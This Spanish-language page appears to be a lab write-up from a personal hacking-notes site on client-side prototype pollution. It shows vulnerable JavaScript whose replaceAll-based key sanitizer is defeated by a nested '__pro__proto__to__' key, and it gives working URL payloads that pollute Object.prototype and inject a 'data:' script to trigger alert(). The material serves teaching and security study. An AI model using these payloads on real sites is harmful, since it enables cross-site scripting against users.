> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Prototype Pollution del lado del cliente mediante sanitización defectuosa

### Contaminación del prototipo del lado del cliente mediante sanitización defectuosa

#### (1) Contexto e idea general

La aplicación lee la configuración de la URL y luego la convierte en un objeto JavaScript mediante `deparam(...)`:

* Construye `config = { params: deparam(...) }`
* Luego usa `config.transport_url` para cargar un `<script src="...">`

Para evitar la contaminación del prototipo, los desarrolladores añadieron `sanitizeKey()` que elimina las siguientes subcadenas en las claves\:/ `constructor`, `__proto__`, `prototype`.

Problema: esta sanitización es solo un **replaceAll**. Si **cortas** la palabra prohibida en partes, después de la sustitución puede **reconstruirse**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Origen: omitir el filtro y contaminar `Object.prototype`

El filtro elimina `__proto__` Si está presente tal cual. / Se reconstruye poniendo `__proto__` **en medio** de una clave más grande, de modo que, después de la eliminación, la clave final se convierta exactamente en `__proto__`.

Carga útil:

```javascript
?__pro__proto__to__[foo]=bar
```

Después de la sanitización:

* `__pro__proto__to__` → (eliminación de `__proto__`) → `__proto__`

Así que es como:

* `?__proto__[foo]=bar` -> contaminación global del prototipo

Compruébalo en la consola:

```javascript
console.log({}.foo)
```

<figure><img src="/files/8ec5d5b150887b785586b6d367bf2af99c4b2497" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Explotación final: activar `alert()`

`transport_url` está contaminado con un `data:` esquema que ejecuta JavaScript cuando se carga el script:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/1e2c11d318036e87001af0009f62a74f3cb60f2b" alt=""><figcaption></figcaption></figure>


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